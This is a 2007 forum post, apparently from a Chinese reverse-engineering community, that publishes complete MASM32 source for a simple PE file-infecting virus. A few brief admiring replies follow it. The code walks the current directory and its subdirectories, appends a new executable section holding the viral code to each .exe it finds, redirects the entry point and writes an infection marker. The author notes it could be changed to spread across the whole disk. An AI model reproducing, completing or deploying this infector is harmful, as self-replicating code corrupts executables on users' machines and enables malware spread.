首页
社区
课程
招聘
[原创]一个简单的PE病毒外壳
发表于: 2007-9-8 22:03 6906

[原创]一个简单的PE病毒外壳

2007-9-8 22:03
6906

;主要集成了Win32.poly.ShowTime2,老罗的向PE文件中添加新节的办法
;编译的时候在LINK选项中要加上:/section:.rew使代码段可写
;编译器为MASM32
;EnumDir部分自己写的,功能为遍历当前目录以及子目录,故基本没有传染功能,如果改成全盘遍历就可以了
;没填加对加壳文件的识别,感染后运行会出错
;写的比较简单,而且复制的代码一部分有人注释过了,就不做详细注释了
.386
.Model Flat, StdCall
Option Casemap :None
Include windows.inc
_GetKernelBase proto :DWORD
_GetApi        proto :DWORD ,:DWORD ,:DWORD
AddNewSection    proto :DWORD
.CODE
APPEND_CODE        equ        this BYTE
Virus:
        buffer db 1024 dup (0)
        hKernel32 DD 0
        _GetProcAddress dd 0
        nGetProcAddress db 'GetProcAddress',13,10,0
        nLoadLibraryA         db 'LoadLibraryA',0
        _LoadLibraryA         dd 0
        nKernel db 'kernel32.dll',0
        cdw                dd 0
VStart:
        call        @F
        @@:
        pop        ebx
        sub        ebx,offset @B
        invoke        _GetKernelBase,[esp]
        mov hKernel32[ebx],eax
        lea eax,[offset nGetProcAddress+ebx]
        invoke _GetApi,[offset hKernel32+ebx],eax,14
        mov _GetProcAddress[ebx],eax
        lea eax,[offset nLoadLibraryA+ebx]
        invoke _GetApi,[offset hKernel32+ebx],eax,12
        mov _LoadLibraryA[ebx],eax
        lea eax,[offset nKernel+ebx]
        push eax
        call _LoadLibraryA[ebx]
        mov DWORD ptr hKernel32[ebx],eax
        call GetOApiz
        lea eax,[offset buffer+ebx]
        push eax
        push 128
        call _GetCurrentDirectory[ebx]
        lea eax,[offset buffer+ebx]
        push eax
        call EnumDir
        jmp  en   ;跳转到原入口点
GetOApiz:
        call @api_table        ;下面数组的首地址入栈
        db 'CreateThread',0
        db 'CreateRemoteThread',0
        db 'WinExec',0
        db 'CreateMutexA',0
        db 'OpenMutexA',0
        db 'ReleaseMutex',0
        db 'FindFirstFileA',0
        db 'FindNextFileA',0
        db 'FindClose',0
        db 'CreateFileA',0
        db 'CreateFileMappingA',0
        db 'MapViewOfFile',0
        db 'UnmapViewOfFile',0
        db 'SetFilePointer',0
        db 'ReadFile',0
        db 'WriteFile',0
        db 'CloseHandle',0
        db 'VirtualAlloc',0
        db 'VirtualAllocEx',0
        db 'WriteProcessMemory',0
        db 'VirtualFree',0
        db 'VirtualFreeEx',0
        db 'lstrcmpi',0
        db 'lstrcpy',0
        db 'lstrcat',0
        db 'lstrlen',0
        db 'GetFileSize',0
        db 'GetSystemDirectoryA',0
        db 'GetModuleFileNameA',0
        db 'Sleep',0
        db 'GetSystemTime',0
        db 'DeleteFileA',0
        db 'OpenProcess',0
        db 'GetModuleHandleA',0
        db 'GetCurrentDirectoryA',0
        db 'SetCurrentDirectoryA',0
        db 'ExitProcess',0
        db 'GetExitCodeThread',0
        db 'ResumeThread',0
        db 'GlobalAlloc',0
        db 'GlobalFree',0
        db 'RtlMoveMemory',0
        db 'SetEndOfFile',0
@api_table:
        pop edi
        call @api_dest                                ;原理同上
K_Apiz:
        _CreateThread        dd 0
        _CreateRemoteThread        dd 0
        _WinExec        dd 0
        _CreateMutex        dd 0
        _OpenMutex        dd 0
        _ReleaseMutex        dd 0
        _FindFirstFile        dd 0
        _FindNextFile        dd 0
        _FindClose        dd 0
        _CreateFile        dd 0
        _CreateFileMapping        dd 0
        _MapViewOfFile        dd 0
        _UnmapViewOfFile        dd 0
        _SetFilePointer        dd 0
        _ReadFile        dd 0
        _WriteFile        dd 0
        _CloseHandle        dd 0
        _VirtualAlloc        dd 0
        _VirtualAllocEx        dd 0
        _WriteProcessMemory        dd 0
        _VirtualFree        dd 0
        _VirtualFreeEx        dd 0
        _lstrcmpi        dd 0
        _lstrcpy        dd 0
        _lstrcat dd 0
        _lstrlen        dd 0
        _GetFileSize        dd 0
        _GetSystemDirectory        dd 0
        _GetModuleFileName        dd 0
        _Sleep        dd 0
        _GetSystemTime        dd 0
        _DeleteFile        dd 0
        _OpenProcess        dd 0
        _GetModuleHandle        dd 0
        _GetCurrentDirectory        dd 0
        _SetCurrentDirectory        dd 0
        _ExitProcess        dd 0
        _GetExitCodeThread        dd 0
        _ResumeThread        dd 0
        _GlobalAlloc        dd 0
        _GlobalFree                dd 0
        _RtlMoveMemory        dd 0
        _SetEndOfFile        dd 0
        K_API_NUM=($-K_Apiz)/4
@api_dest:
        pop esi
        push K_API_NUM
        pop ecx
        xor ebp,ebp
K_begin:
        push ecx  ;loop 循环 计数
        push edi
        push hKernel32[ebx]
        call _GetProcAddress[ebx] ;获取api地址
        or eax,eax
        jz GA_Fail
        mov DWORD ptr [esi],eax  ;eax中的函数地址存入K_Apiz的数组中
GA_Fail:
        add esi,4
        xor eax,eax
        repnz scasb
        pop ecx
        loop K_begin
        call szUser32   ;下面的首地址入栈
                db 'User32.dll',0   
        szFindWindowA db "FindWindowA",0
        szFindWindowExA db "FindWindowExA",0
        szSendMessageA db "SendMessageA",0
        szChildWindowFromPointEx db "ChildWindowFromPointEx",0
        _FindWindowA dd 0
        _FindWindowExA dd 0
        _SendMessageA dd 0
        _ChildWindowFromPointEx dd 0
szUser32:
        call _LoadLibraryA[ebx]  ;user32.dll
        push esi                                                 ;???????  保存esi?
        mov esi,eax
        call szwsprintfA                         ;push
                db 'wsprintfA',0
                _wsprintf dd 0
szwsprintfA:
        push esi
        call _GetProcAddress[ebx] ;get wsprintf
        mov DWORD ptr _wsprintf[ebx],eax
        lea ecx,[offset szFindWindowA+ebx]
        push ecx
        push esi                                                ;user32.dll
        call _GetProcAddress[ebx]
        mov DWORD ptr _FindWindowA[ebx],eax
        lea ecx,[offset szFindWindowExA+ebx]
        push ecx
        push esi
        call _GetProcAddress[ebx]
        mov DWORD ptr _FindWindowExA[ebx],eax
        lea ecx,[offset szSendMessageA+ebx]
        push ecx
        push esi
        call _GetProcAddress[ebx]
        mov DWORD ptr _SendMessageA[ebx],eax
        lea ecx,[offset szChildWindowFromPointEx+ebx]
        push ecx
        push esi
        call _GetProcAddress[ebx]
        mov DWORD ptr _ChildWindowFromPointEx[ebx],eax
        pop esi
        ret
_GetKernelBase        proc        _dwKernelRet
                local        @dwReturn
                pushad
                mov        @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
                call        @F
                @@:
                pop        ebx
                sub        ebx,offset @B
;********************************************************************
; 查找 Kernel32.dll 的基地址
;********************************************************************
                mov        edi,_dwKernelRet
                and        edi,0ffff0000h
                .while        TRUE
                        .if        WORD  ptr [edi] == IMAGE_DOS_SIGNATURE
                                mov        esi,edi
                                add        esi,[esi+003ch]
                                .if WORD  ptr [esi] == IMAGE_NT_SIGNATURE
                                        mov        @dwReturn,edi
                                        .break
                                .endif
                        .endif
                        sub        edi,010000h
                        .break        .if edi < 070000000h
                .endw
                popad
                mov        eax,@dwReturn
                ret
_GetKernelBase        endp
_GetApi        proc        _hModule,_lpszApi,_cnt
                local        @dwReturn,@dwStringLength
                pushad
                mov        @dwReturn,0
;********************************************************************
; 重定位
;********************************************************************
                call        @F
                @@:
                pop        ebx
                sub        ebx,offset @B
;********************************************************************
; 计算 API 字符串的长度(带尾部的0)
;********************************************************************
                mov        ecx,_cnt
                mov        @dwStringLength,ecx
;********************************************************************
; 从 PE 文件头的数据目录获取导出表地址
;********************************************************************
                mov        esi,_hModule
                add        esi,[esi + 3ch]
                assume        esi:ptr IMAGE_NT_HEADERS
                mov        esi,[esi].OptionalHeader.DataDirectory.VirtualAddress
                add        esi,_hModule
                assume        esi:ptr IMAGE_EXPORT_DIRECTORY
;********************************************************************
; 查找符合名称的导出函数名
;********************************************************************
                mov        ebx,[esi].AddressOfNames
                add        ebx,_hModule
                xor        edx,edx
                .repeat
                        push        esi
                        mov        edi,[ebx]
                        add        edi,_hModule
                        mov        esi,_lpszApi
                        mov        ecx,@dwStringLength
                        repz        cmpsb
                        .if        ZERO?
                                pop        esi
                                jmp        @F
                        .endif
                        pop        esi
                        add        ebx,4
                        inc        edx
                .until        edx >=        [esi].NumberOfNames
                jmp        _Error
@@:
;********************************************************************
; API名称索引 --> 序号索引 --> 地址索引
;********************************************************************
                sub        ebx,[esi].AddressOfNames
                sub        ebx,_hModule
                shr        ebx,1
                add        ebx,[esi].AddressOfNameOrdinals
                add        ebx,_hModule
                movzx        eax,WORD  ptr [ebx]
                shl        eax,2
                add        eax,[esi].AddressOfFunctions
                add        eax,_hModule
;********************************************************************
; 从地址表得到导出函数地址
;********************************************************************
                mov        eax,[eax]
                add        eax,_hModule
                mov        @dwReturn,eax
_Error:
                popad
                mov        eax,@dwReturn
                ret
_GetApi                endp
        allfile db '*.*',0
        nextdir db '\',0
        wfd        WIN32_FIND_DATA <0>
        ext          db '.exe',0
        self                        db 'GUI.exe',0
EnumDir PROC DirName : DWORD
        local hSearch:DWORD
        local DirorFile[128]:DWORD
        pushad
        push DirName
        lea esi,DirorFile
        push esi
        call _lstrcpy[ebx]
        push esi                                                        ;当前目录
        call _SetCurrentDirectory[ebx]
        lea edi,[offset wfd+ebx]
        push edi
        lea eax,[offset allfile+ebx]
        push eax
        call _FindFirstFile[ebx]
        cmp eax,INVALID_HANDLE_VALUE
        jz ED_Exit
        mov hSearch,eax
        .repeat
                mov eax,DWORD ptr [offset wfd+ebx]
                and eax,FILE_ATTRIBUTE_DIRECTORY
                .if eax == FILE_ATTRIBUTE_DIRECTORY
                        .if BYTE ptr [wfd+44+ebx]!='.'
                                push DirName
                                lea esi,DirorFile
                                PUSH ESI                                ;esi指向局部缓冲区
                                call _lstrcpy[ebx]
                                lea eax,[offset nextdir+ebx]
                                push eax
                                push esi
                                call _lstrcat[ebx]
                                lea eax,[offset wfd+44+ebx]
                                push eax
                                push esi
                                call _lstrcat[ebx]
                                push esi
                                call EnumDir
                        .endif
                .else
                        .if BYTE ptr [wfd+44+ebx]!='.'
                                pushad
                                lea eax,[offset wfd.cFileName+ebx]
                                push eax
                                call _lstrlen[ebx]
                           sub  eax,4
                           mov  esi,eax             ;esi=扩展名位置
                           lea edx,[offset ext+ebx]
                           push edx
                           lea eax,wfd.cFileName[esi]
                           add eax,ebx
                           push eax
                           call _lstrcmpi[ebx]
                           cmp eax,0
                           jnz j1
                           push DirName
                           lea esi,DirorFile
                           push esi
                           call _lstrcpy[ebx]
                           lea eax,[offset nextdir+ebx]
                           push eax
                           push esi
                           call _lstrcat[ebx]
                           lea eax,[offset wfd.cFileName+ebx]
                           lea edx,[offset self+ebx]
                           push eax
                           push edx
                           call _lstrcmpi[ebx]
                           cmp eax,0
                           jz j1
                           lea eax,[offset wfd.cFileName+ebx]
                           push eax
                           push esi
                           call _lstrcat[ebx]
                           push esi
                           call InfectFile
                           j1:
                           popad
                   .endif
                .endif
                push edi
                push hSearch
                call _FindNextFile[ebx]
        .until eax == 0
ED_Close:
        push hSearch
        call _FindClose[ebx]
ED_Exit:
        popad
        ret 8
EnumDir endp
        PE_Header        IMAGE_NT_HEADERS    <0>
        My_Section       IMAGE_SECTION_HEADER    <>
        Head_Len         equ    sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
        Old_AddressOfEntryPoint dd 0
        Old_ImageBase                dd 0
InfectFile proc FileName
    LOCAL hFile: HANDLE
    LOCAL dwPE_Header_OffSet: DWORD
    LOCAL dwFileReadWritten: DWORD
    LOCAL dwMySectionOffSet: DWORD
    LOCAL dwLastSection_SizeOfRawData: DWORD
    LOCAL dwLastSection_PointerToRawData: DWORD
    ;打开文件:
    pushad
         push NULL
         push FILE_ATTRIBUTE_NORMAL
         push OPEN_EXISTING
         push NULL
         push FILE_SHARE_READ+FILE_SHARE_WRITE
         push GENERIC_READ+GENERIC_WRITE
         push FileName
         call _CreateFile[ebx]
    .if eax == INVALID_HANDLE_VALUE
        jmp Err_CreateFile_Exit
    .endif
    mov hFile, eax

    ;****************************************
    ;读取PE文件头:
    ;****************************************
    push FILE_BEGIN
    push 0
    push 3ch
    push hFile
    call _SetFilePointer[ebx]
         push NULL
         lea esi,dwFileReadWritten
         push esi
         push 4
         lea edi,dwPE_Header_OffSet
         push edi
         push hFile
         call _ReadFile[ebx]
         
         push FILE_BEGIN
         push 0
         push dwPE_Header_OffSet
         push hFile
         call _SetFilePointer
         
    push NULL
    lea esi,dwFileReadWritten
    push esi
    push Head_Len
    lea edi,[offset PE_Header+ebx]
    push edi
    push hFile
    call _ReadFile
    ;****************************************
    ;判断是否有效的PE文件,是的话才继续:
    ;****************************************
    lea esi,PE_Header
    add esi,ebx
    assume esi:ptr IMAGE_NT_HEADERS
    .if [esi].Signature!= IMAGE_NT_SIGNATURE
        ;如果不是有效的PE文件,就给出提示:
        jmp Exit
    .endif
         .if WORD ptr [esi+1ah] == 0888h  ;感染标志
                         jmp Exit
         .endif
    ;****************************************
    ;判断是否有足够空间存储新节:
    ;****************************************
    movzx eax, [esi].FileHeader.NumberOfSections   ;得到添加新节前有多少个节:
    mov ecx, 28h    ;28h = sizeof IMAGE_SECTION_HEADER
    mul ecx         ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
    add eax, dwPE_Header_OffSet    ;eax = eax + PE文件头偏移
    add eax, 18h    ;18h = sizeof IMAGE_FILE_HEADER
    movzx ecx, [esi].FileHeader.SizeOfOptionalHeader
    add eax, ecx    ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
    add eax, 28h    ;添加一个新节的大小
    .if eax > [esi].OptionalHeader.SizeOfHeaders
        ;不够的话给出提示:
        jmp Exit
    .endif

    ;****************************************
    ;保存原入口,后面要用到:
    ;****************************************
    mov eax, [esi].OptionalHeader.AddressOfEntryPoint
    mov Old_AddressOfEntryPoint[ebx], eax
    mov eax, [esi].OptionalHeader.ImageBase
    mov Old_ImageBase[ebx], eax

    ;**************************************************
    ;计算新节的偏移地址:
    ;(其实跟上面的“判断是否有足够空间存储新节”基本上一样)
    ;**************************************************
    movzx eax, [esi].FileHeader.NumberOfSections
    mov ecx, 28h
    mul ecx            ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
    add eax, 4h        ;4h = sizeof "PE\0\0"
    add eax, dwPE_Header_OffSet
    add eax, sizeof IMAGE_FILE_HEADER
    add eax, sizeof IMAGE_OPTIONAL_HEADER
    mov dwMySectionOffSet, eax    ;现在得到了我们的新节的偏移地址

    ;****************************************
    ;填充我们自己的节的信息:
    ;(这部分请查看PE格式,很容易明白,不多说了)
    ;****************************************
    lea edi,My_Section
    add edi,ebx
    assume edi:ptr IMAGE_SECTION_HEADER
    mov DWORD  ptr [edi].Name1, "CL."    ;名字就叫做“.LC”吧,呵呵……
    mov [edi].Misc.VirtualSize,VirusLen
    push [esi].OptionalHeader.SizeOfImage
    pop [edi].VirtualAddress
    mov eax, [edi].Misc.VirtualSize
    mov ecx, [esi].OptionalHeader.FileAlignment
    cdq
    div ecx
    inc eax
    mul ecx
    mov [edi].SizeOfRawData, eax  ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
    mov eax, dwMySectionOffSet
    sub eax, 18h    ;这个偏移是定位到最后一节的“SizeOfRawData”
    push FILE_BEGIN
    push 0
    push eax
    push hFile
    call _SetFilePointer
  
           push NULL
           lea eax,dwFileReadWritten
           push eax
           push 4
           lea edx,dwLastSection_SizeOfRawData
           push edx
           push hFile
           call _ReadFile
           push NULL
           lea eax,dwFileReadWritten
           push eax
           push 4
           lea edx,dwLastSection_PointerToRawData
           push edx
           push hFile
           call _ReadFile
    ;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
    mov eax, dwLastSection_SizeOfRawData
    add eax, dwLastSection_PointerToRawData
    mov [edi].PointerToRawData, eax
    mov [edi].PointerToRelocations, 0h
    mov [edi].PointerToLinenumbers, 0h
    mov [edi].NumberOfRelocations, 0h
    mov [edi].NumberOfRelocations, 0h
    mov [edi].Characteristics, 0E0000020h    ;可读可写可执行

    ;**************************************************
    ;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
    ;**************************************************
    push FILE_BEGIN
    push 0
    push dwMySectionOffSet
    push hFile
    call _SetFilePointer
           push NULL
           lea eax,dwFileReadWritten
           push eax
           push sizeof IMAGE_SECTION_HEADER
           push edi
           push hFile
           call _WriteFile
    ;****************************************
    ;在文件的最后写入我们的新节:
    ;****************************************
    push  FILE_END
    push 0
    push 0
    push hFile
    call _SetFilePointer

    push 0
    lea eax, dwFileReadWritten
    push eax
    push [edi].SizeOfRawData
    lea eax, Virus
    push eax
    push hFile
    call _WriteFile

    ;**************************************************
    ;改写IMAGE_NT_HEADERS,使新节可以首先执行:
    ;(需要改写 SizeOfImage 和 AddressOfEntryPoint)
    ;**************************************************
    inc [esi].FileHeader.NumberOfSections
    mov eax, [edi].Misc.VirtualSize
    mov ecx, [esi].OptionalHeader.SectionAlignment
    cdq
    div ecx
    inc eax
    mul ecx
    add eax, [esi].OptionalHeader.SizeOfImage
    mov [esi].OptionalHeader.SizeOfImage, eax    ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
    mov eax, [edi].VirtualAddress
    add eax,(offset VStart-offset APPEND_CODE)
    mov [esi].OptionalHeader.AddressOfEntryPoint, eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令
    mov WORD ptr [esi+1ah],0888h  ;写入感染标志
    push FILE_BEGIN
    push 0
    push dwPE_Header_OffSet
    push hFile
    call _SetFilePointer

         push NULL
         lea eax,dwFileReadWritten
         push eax
         push sizeof IMAGE_NT_HEADERS
         push esi
         push hFile
         call _WriteFile

    ;****************************************
    ;修正新代码中的jmp OldEntry指令
    ;****************************************
    mov eax,[edi].VirtualAddress
    add        eax,(offset _ToOldEntry-offset APPEND_CODE+5)
    sub        Old_AddressOfEntryPoint[ebx],eax
    mov        ecx,[edi].PointerToRawData
    add        ecx,(offset _dwOldEntry-offset APPEND_CODE)
    push FILE_BEGIN
    push NULL
    push ecx
    push hFile
    call _SetFilePointer
    push NULL
    lea eax,dwFileReadWritten
    push eax
    push 4
    lea edx,[offset Old_AddressOfEntryPoint+ebx]
    push edx
    push hFile
    call _WriteFile
Exit:
    ;关闭文件:
    push hFile
    call _CloseHandle
Err_CreateFile_Exit:
         popad
    ret
InfectFile endp
en:
_ToOldEntry:
                db        0e9h        ;0e9h是jmp xxxxxxxx的机器吗
_dwOldEntry:
                dd        ?        ;用来填入原来的入口地址
VirusLen=$-offset Virus
APPEND_CODE_END        equ        this BYTE
        push 0
        call _ExitProcess[ebx]
END VStart


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 7
支持
分享
最新回复 (3)
雪    币: 193
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
学习学习啊,有点晕!
2007-9-10 08:19
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
什么时候偶也有这等水平撒!:3:
2007-9-11 10:53
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
眼睛还成了熊猫!痛苦郁闷呀...呜呜!
2007-9-11 10:55
0
游客
登录 | 注册 方可回帖
返回
//